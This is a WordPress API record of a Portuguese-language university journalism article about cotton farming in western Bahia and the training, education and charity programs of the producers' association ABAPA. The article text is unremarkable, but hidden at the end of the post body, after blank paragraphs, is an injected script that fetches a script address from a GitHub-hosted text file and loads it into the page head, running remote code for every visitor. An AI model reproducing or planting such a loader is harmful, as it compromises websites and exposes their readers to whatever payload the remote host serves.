{"id":275,"date":"2022-09-16T16:07:59","date_gmt":"2022-09-16T19:07:59","guid":{"rendered":"http:\/\/www2.uesb.br\/portaldejornalismo\/?p=275"},"modified":"2024-10-07T15:26:33","modified_gmt":"2024-10-07T18:26:33","slug":"alem-do-agro-o-algodao-como-fator-de-desenvolvimento-social","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/portaldejornalismo\/?p=275","title":{"rendered":"Al\u00e9m do agro: o algod\u00e3o como fator de desenvolvimento social \u00a0"},"content":{"rendered":"<p><strong>\u00a0<\/strong><strong>Por: Larric Fernandes <\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-276 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.22-2-1024x768.jpeg\" alt=\"\" width=\"1024\" height=\"768\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.22-2-1024x768.jpeg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.22-2-300x225.jpeg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.22-2-768x576.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.22-2-233x175.jpeg 233w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.22-2-507x380.jpeg 507w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.22-2.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Lavoura de algod\u00e3o em Lu\u00eds Eduardo Magalh\u00e3es, Oeste da Bahia. Foto: Larric Fernandes.<\/p>\n<p>&nbsp;<\/p>\n<p>O algod\u00e3o \u00e9 uma cultura milenar, no Brasil os primeiros cultivos aconteceram nos anos de1760, no Nordeste em pleno s\u00e9culo18. O Pa\u00eds j\u00e1 estava fazendo as suas primeiras exporta\u00e7\u00f5es de algod\u00e3o, que foi o ponta p\u00e9 inicial para se tornar um dos principais exportadores de algod\u00e3o do mundo. Essa evolu\u00e7\u00e3o n\u00e3o foi do dia para noite, v\u00e1rios fatores contribu\u00edram para esse resultado, como os estudos a respeito do cultivo aliados a tecnologia, que propiciaram a profissionaliza\u00e7\u00e3o dos cotonicultores junto a produ\u00e7\u00e3o do algod\u00e3o.<\/p>\n<p>Hoje o a algod\u00e3o brasileiro ocupa o segundo lugar entre os maiores exportadores do mundo. De acordo a Associa\u00e7\u00e3o Brasileira dos Produtores de Algod\u00e3o (ABRAPA), os cotonicultores foram respons\u00e1veis por produzir mais de 500 toneladas de pluma na safra dos anos de 2021 e 2022. Um dos grandes diferenciais do algod\u00e3o comparado a outros cultivos, \u00e9 que alm da sua grande cadeia produtiva, ele n\u00e3o precisa de uma \u00e1rea muito extensa para ter uma produ\u00e7\u00e3o em larga escala, proporcionando um bom custo-benef\u00edcio ao produtor.<\/p>\n<p>O algod\u00e3o \u00e9 uma cultura importante por isso, possui mecanismos de controle para que que as etapas do cultivo e do beneficiamento tragam os melhores resultados no final do processo. Por esse motivo foi criada no ano 2000 a Associa\u00e7\u00e3o Baiana dos Produtores de Algod\u00e3o (ABAPA), composta por cotonicultores, produtores de algod\u00e3o, na cidade de Lu\u00eds Eduardo Magalhaes, localizada na Bahia. Ela possui e mesma idade da associa\u00e7\u00e3o, ambas com 22 anos.<\/p>\n<p>&nbsp;<\/p>\n<h4>O papel da ABAPA<\/h4>\n<p>A ABAPA \u00e9 uma associa\u00e7\u00e3o que foi criada para ter um controle da produ\u00e7\u00e3o do algod\u00e3o, voltada \u00e0 melhoria da qualidade da fibra, buscado a excel\u00eancia do produto dentro e fora do Brasil. Mas n\u00e3o s\u00f3 isso, ela busca junto a uma equipe de colaboradores, desde produtores associados, engenheiros agr\u00f4nomos a operadores de m\u00e1quinas nas lavoras, o cuidado com o meio ambiente. A sustentabilidade \u00e9 um de seus pilares de trabalho. A ABAPA entendeu a necessidade de produzir um produto \u00a0com responsabilidade social e ambiental. Por esses motivos a associa\u00e7\u00e3o criou alguns programas de incentivo a valoriza\u00e7\u00e3o do algod\u00e3o, passando por todos os processos de produ\u00e7\u00e3o e beneficiamento.<\/p>\n<p>A ABAPA possui hoje nove programas que traz o algod\u00e3o como o elemento principal de desenvolvimento. Como o \u201cConhecendo o Agro\u201d que atua junto a educa\u00e7\u00e3o, trazendo aos alunos e professores do Ensino Fundamental, o cotidiano do trabalho agr\u00edcola. Mostrando a import\u00e2ncia que o agro traz para a regi\u00e3o. Como explica Alessandra Zanotto diretora do grupo Zanotto sobre a sua paix\u00e3o por esse programa, que atinge principalmente as crian\u00e7as de zona rural. Ela afirma que est\u00e1 em pauta uma amplia\u00e7\u00e3o do projeto para que mais crian\u00e7as e adolescentes possam conhecer o agro, e os trabalhos que s\u00e3o realizados na regi\u00e3o, trazendo para esses jovens um sentimento de pertencimento. Pois a partir dessa aproxima\u00e7\u00e3o feita por o \u201cConhecendo o Agro\u201d, eles come\u00e7am a ter um outro olhar sobre o trabalho no campo.<\/p>\n<p>Outro programa utilizado pela ABAPA o chamado \u201cAlgod\u00e3o Brasileiro Respons\u00e1vel\u201d (ABR), que \u00e9 encarregado pela qualidade do algod\u00e3o desde a lavoura at\u00e9 uma pe\u00e7a de roupa. Trazendo a import\u00e2ncia da rastreabilidade principalmente voltada \u00e0 \u00e1rea da moda, para que as pessoas possam saber quais foram os processos que o algod\u00e3o passou at\u00e9 chegar no consumidor final. Pois, segundo Zanotto as tend\u00eancias mundiais aliadas as quest\u00f5es clim\u00e1ticas, e a preocupa\u00e7\u00e3o com a sustentabilidade trazem a necessidade de consumir produtos naturais. \u201c\u00c9 realmente a forma das pessoas darem mais valor, lagar o industrializado, o poli\u00e9ster, as outras fibras de lado, e passarem a consumir mais algod\u00e3o, aproximando o campo da cidade\u201d.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-280 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2629-1024x683.jpg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2629-1024x683.jpg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2629-300x200.jpg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2629-768x512.jpg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2629-264x175.jpg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAOPA2629-570x380.jpg 570w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Amostras etiquetadas de fardos de algod\u00e3o para serem encaminhadas para o laborat\u00f3rio de an\u00e1lises da ABAPA. Foto ABAPA.<\/p>\n<p>&nbsp;<\/p>\n<p>Al\u00e9m desses rigorosos processos de controle da produ\u00e7\u00e3o de algod\u00e3o da \u00a0ABAPA, existe o fator humano que \u00e9 bastante trabalhado na associa\u00e7\u00e3o. Eles procuram proporcionar a todos os seus colaboradores os mecanismos necess\u00e1rios para o aprimoramento na profiss\u00e3o. Como o \u201cO centro de treinamento e tecnologia\u201d que \u00e9 respons\u00e1vel em promover qualifica\u00e7\u00e3o profissional. O centro j\u00e1 capacitou uma m\u00e9dia 51 mil pessoas no per\u00edodo de 12 anos de associa\u00e7\u00e3o. Al\u00e9m disso a ABAPA se preocupa com as quest\u00f5es sociais, e na pandemia realizou uma s\u00e9rie de iniciativas para ajudar a popula\u00e7\u00e3o. Foram entregues 70 mil metros de tecido para confec\u00e7\u00e3o de m\u00e1scaras para serem distribu\u00eddas em 100 munic\u00edpios baianos, al\u00e9m das 7 mil tolhas de algod\u00e3o que foram entregues \u00e0 Secretaria de Sa\u00fade do Estado, e aos munic\u00edpios do Oeste da Bahia.<\/p>\n<p>Dentre todas essas inciativas da ABAPA, ela foi essencial no aux\u00edlio as v\u00edtimas das chuvas que aconteceram em 2022. Onde v\u00e1rias fam\u00edlias ficaram desabrigadas, muitas delas n\u00e3o tinha o que comer, mas a associa\u00e7\u00e3o doou cerca de 60 toneladas de alimentos e 800 toalhas de algod\u00e3o, ajudando a popula\u00e7\u00e3o a superar esse momento dif\u00edcil. Foi por essa atitude que a ABAPA ganhou das obras Irm\u00e3 Dulce (OSID) o \u201cSelo Empresa Irm\u00e3 2021\u201dna categoria diamante. Mas al\u00e9m disso, ela tamb\u00e9m apoiou os pequenos agricultores familiares, dos quais j\u00e1 foram distribu\u00eddos mais de 300 kits de irriga\u00e7\u00e3o no per\u00edodo de 9 anos, com mais de 300 fam\u00edlias beneficiadas. Trazendo as suas contribui\u00e7\u00f5es sociais.<\/p>\n<p>Assim a ABAPA mostrou o algod\u00e3o como um cultivo que se preocupa com fator social, garantindo mudan\u00e7as de vida aos seus colaboradores. Indo al\u00e9m da import\u00e2ncia econ\u00f4mica gerando grandes oportunidades, como afirma Alessandra \u201csin\u00f4nimo de progresso porque o algod\u00e3o traz muito valor agregado. Al\u00e9m \u00e9 claro de empregabilidade, estou falando de envolvimento de pessoas de uma cultura que tem um ciclo maior que as outras culturas, que s\u00e3o plantadas aqui na regi\u00e3o. \u00c9 uma cultura que exige profissionalismo, muito mais cuidado, isso tudo movimenta a economia\u201d, ela ainda comenta que: \u201crelaciona o algod\u00e3o com o progresso em Lu\u00eds Eduardo Magalh\u00e3es\u201d, e que esse \u00e9 o principal motivo de estarem ali. Porque o algod\u00e3o possui uma cadeia produtiva muito extensa, al\u00e9m de ser um produto natural que se diferencia dos outros, podendo se tornar uma diversidade de produtos, para os mais variados fins.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-279 size-large alignright img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAPA_0104-1-1024x683.jpg\" alt=\"\" width=\"1024\" height=\"683\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAPA_0104-1-1024x683.jpg 1024w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAPA_0104-1-300x200.jpg 300w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAPA_0104-1-768x512.jpg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAPA_0104-1-264x175.jpg 264w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/PJORN_ABAPA_0104-1-570x380.jpg 570w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p>Alessandra Zanotto falando sobre o cultivo do algod\u00e3o e sobre o papel da mulher no processo produtivo. Foto ABAPA.<\/p>\n<p>&nbsp;<\/p>\n<p>Alessandra continuou ressaltado o papel da cultura do algod\u00e3o realizada pela ABAPA, \u201ceu sempre digo, o mundo pode sempre passar pelas transforma\u00e7\u00f5es que forem, a m\u00e3o de obra humana, o capital humano nunca vai ser substitu\u00eddo. E vejo que o Centro de treinamento da ABAPA tem um papel superimportante, porque ele tem essa preocupa\u00e7\u00e3o na veia mesmo, de realmente trazer, de dar oportunidade pra pessoas, independentemente de onde elas atuam, de obter conhecimento, e est\u00e3o inseridas nesse trabalho, no agro de modo geral\u201d.<\/p>\n<p>Como o exemplo de Rubens de S\u00e1, formado em Administra\u00e7\u00e3o, que viu no cultivo do algod\u00e3o algo que poderia mudar a sua vida. Ele comenta que come\u00e7ou a trabalhar com algod\u00e3o ainda como empregado, por conta da alta rentabilidade tanto para o produtor, quanto para os colaboradores. E falou que independente de ser ou n\u00e3o produtor, sempre teve um zelo para com os processos de produ\u00e7\u00e3o, indo da lavoura at\u00e9 a usina de beneficiamento. Por que o segredo \u201c\u00e9 trabalhar como se voc\u00ea fosse o dono\u201d. Trazendo a ideia de cuidado mostrando a import\u00e2ncia que o algod\u00e3o tem para a sociedade, como um fator agregador que movimenta a economia e gera empregos.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-281 size-large img-fluid\" src=\"http:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.19-768x1024.jpeg\" alt=\"\" width=\"768\" height=\"1024\" srcset=\"https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.19-768x1024.jpeg 768w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.19-225x300.jpeg 225w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.19-131x175.jpeg 131w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.19-285x380.jpeg 285w, https:\/\/www2.uesb.br\/portaldejornalismo\/wp-content\/uploads\/2022\/09\/WhatsApp-Image-2022-09-16-at-15.03.19.jpeg 1200w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/p>\n<p>Rubens de S\u00e1 fala como o ind\u00fastria do algod\u00e3o mudou a sua vida. Foto Larric Fernandes.<\/p>\n<p>Assim a ABAPA com os seus 22 anos de exist\u00eancia, e trabalho duro, investiu em conhecimento, tecnologia e educa\u00e7\u00e3o, aliados com o fator humano, mostrando como o algod\u00e3o foi al\u00e9m de uma quest\u00e3o econ\u00f4mica, pois ele trouxe consigo toda a responsabilidade com o meio ambiente. Essas a\u00e7\u00f5es mostram \u00e0 sociedade que o agro tamb\u00e9m pode ser \u00e9tico, respons\u00e1vel e sustent\u00e1vel.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0Por: Larric Fernandes Lavoura de algod\u00e3o em Lu\u00eds Eduardo Magalh\u00e3es,&#8230;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[12,7,8,2],"tags":[],"class_list":["post-275","post","type-post","status-publish","format-standard","hentry","category-jornalismo-impresso","category-noticias","category-slide","category-webjornalismo"],"acf":[],"_links":{"self":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/275","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=275"}],"version-history":[{"count":4,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/275\/revisions"}],"predecessor-version":[{"id":367,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=\/wp\/v2\/posts\/275\/revisions\/367"}],"wp:attachment":[{"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=275"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=275"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www2.uesb.br\/portaldejornalismo\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=275"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}